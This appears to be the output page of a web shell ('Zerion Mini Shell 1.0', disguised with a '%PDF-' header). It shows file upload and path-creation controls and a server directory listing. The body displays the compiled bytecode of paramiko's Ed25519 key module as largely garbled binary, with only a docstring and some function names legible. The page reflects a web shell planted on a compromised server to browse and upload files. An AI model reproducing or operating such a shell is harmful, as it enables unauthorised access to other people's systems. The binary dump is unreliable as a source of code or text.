%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/paramiko/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/paramiko/__pycache__/ed25519key.cpython-312.pyc

�

�ec��~�ddlZddlmZddlmZddlZddlmZddl	m
Z
mZmZddl
mZddlmZmZGd�d	e
�Zy)
�N)�default_backend)�Cipher)�Message)�PKey�OPENSSH_AUTH_MAGIC�_unpad_openssh)�b)�SSHException�PasswordRequiredExceptionc�V�eZdZdZ	dd�Zd�Zd�Zed��Zd�Z	d�Z
d	�Zd
d
�Zd�Z
y)�
Ed25519Keya
    Representation of an `Ed25519 <https://ed25519.cr.yp.to/>`_ key.

    .. note::
        Ed25519 key support was added to OpenSSH in version 6.5.

    .. versionadded:: 2.2
    .. versionchanged:: 2.3
        Added a ``file_obj`` parameter to match other key classes.
    Nc���d|_dx}}|�
|�t|�}|�B|j|dd��tjj|j
��}nD|�+t|d�5}|jd|�\}	}ddd�n|�|jd|�\}	}|s|r|j||�}|�
|�td��||_||_y#1swY�=xYw)N�ssh-ed25519z ssh-ed25519-cert-v01@openssh.com)�msg�key_type�	cert_type�r�OPENSSHz
need a key)
�public_blobr�_check_type_and_load_cert�nacl�signing�	VerifyKey�
get_binary�open�_read_private_key�_parse_signing_key_data�
ValueError�_signing_key�_verifying_key)
�selfr�data�filename�password�file_obj�
verifying_key�signing_key�f�pkformats
          �5/usr/lib/python3/dist-packages/paramiko/ed25519key.py�__init__zEd25519Key.__init__*s�� ���&*�*�
���;�4�+��$�-�C��?��*�*��&�<�
+�
�
!�L�L�2�2�3�>�>�3C�D�M�
�
!��h��$�
F��!%�!7�!7�	�1�!E���$�
F�
F�
�
!�!�3�3�I�x�H�N�H�d��x��6�6�t�X�F�K���=�#8��\�*�*�'���+���
F�
F�s�-C�C c��ddlm}t|�}|jt	t
��t
k7rt
d��|j�}|j�}|j�}|j�}|dk(r|s|dk7rTt
d��|dk(r9|std��t|�}	|	j�}
|	j�}nt
d��|dk7r||jvrt
d��g}t|�D]X}
t|j��}|j�dk7rt
d��|j|j���Z|j�}|dk(r|}n�|j|}tjt!|�
|d|d	zd
��}t#|d|d|d�|d
||dd�t%���j'�}|j)|�|j+�z}tt-|��}|j�|j�k7rt
d��g}t|�D]�}|j�dk7rt
d��|j�}|j�}t.j0j3|dd�}|j4j7�|cxk(r||cxk(r	|ddk(sJ�J�|j|�|j���t	|�dk7rt
d��|dS)Nr)�	TransportzInvalid key�none�bcryptzPrivate key file is encryptedrzkey-sizez
block-sizeT)r$�salt�desired_key_bytes�rounds�ignore_few_rounds�class�mode)�backend� �)�paramiko.transportr-r�	get_bytes�lenrr
�get_textr�get_intr�_cipher_info�range�appendr/�kdfr	rr�	decryptor�update�finalizerrr�
SigningKey�
verify_key�encode)r!r"r$r-�message�
ciphername�kdfname�
kdfoptions�num_keysrA�bcrypt_salt�
bcrypt_rounds�public_keys�_�pubkey�private_ciphertext�private_data�cipher�keyrB�signing_keys�i�public�key_datar's                         r*rz"Ed25519Key._parse_signing_key_dataGsQ��0��$�-�����S�!3�4�5�9K�K��}�-�-��%�%�'�
��"�"�$���'�'�)�
��?�?�$���f���Z�6�1�"�=�1�1�
��
 ��/�3����*�%�C��.�.�*�K��K�K�M�M��}�-�-����J�i�6L�6L�$L��}�-�-����x��	4�A��W�/�/�1�2�F���� �M�1�"�=�1�1����v�0�0�2�3�		4�%�/�/�1�����-�L��+�+�J�7�F��*�*��8�� �"(��"4�v�l�7K�"K�$�#'��C����w���$8�f�Z�&8� 9�:���v��s�6�*�#5�#7�8�9�'�)���i�k�	
�� � �!3�4�y�7I�7I�7K�K�
��.��6�7���?�?����� 1�1��}�-�-����x��	!�A����!�]�2�"�=�1�1��'�'�)�F��)�)�+�H��,�,�1�1�(�3�B�-�@�K��&�&�-�-�/��!��q�>�!��B�C�=�!�
�!�
�!�

����,���� �%	!�(�|���!��}�-�-��A���c��|j�r|jj}n|j}t	�}|jd�|j|j
��|j�S�Nr)�can_signrrFr r�
add_stringrG�asbytes)r!�v�ms   r*r_zEd25519Key.asbytes�sX���=�=�?��!�!�,�,�A��#�#�A��I��	���]�#�	���Q�X�X�Z� ��y�y�{�rZc��|j�r|jj}n|j}|j	�|fS�N)r]rrFr �get_name)r!r`s  r*�_fieldszEd25519Key._fields�s8���=�=�?��!�!�,�,�A��#�#�A��
�
���#�#rZc��yr\��r!s r*rdzEd25519Key.get_name�s��rZc��y)N�rgrhs r*�get_bitszEd25519Key.get_bits�s��rZc��|jduSrc)rrhs r*r]zEd25519Key.can_sign�s��� � ��,�,rZc��t�}|jd�|j|jj|�j�|Sr\)rr^r�sign�	signature)r!r"�	algorithmras    r*�
sign_ssh_datazEd25519Key.sign_ssh_data�s=���I��	���]�#�	���T�&�&�+�+�D�1�;�;�<��rZc���|j�dk7ry	|jj||j��y#tj
j$rYywxYw)NrFT)r<r �verifyrr�
exceptions�BadSignatureError)r!r"rs   r*�verify_ssh_sigzEd25519Key.verify_ssh_sig�sX���<�<�>�]�*��	����&�&�t�S�^�^�-=�>������0�0�	��	�s�*A�A!� A!)NNNNNrc)�__name__�
__module__�__qualname__�__doc__r+rr_�propertyrerdrkr]rqrvrgrZr*r
r
sL��	�KO�,�:^�@��$��$���-��	rZr
)r/�cryptography.hazmat.backendsr�&cryptography.hazmat.primitives.ciphersr�nacl.signingr�paramiko.messager�
paramiko.pkeyrrr�paramiko.py3compatr	�paramiko.ssh_exceptionr
rr
rgrZr*�<module>r�s0��"�8�9��$�B�B� �J�s��srZ

Zerion Mini Shell 1.0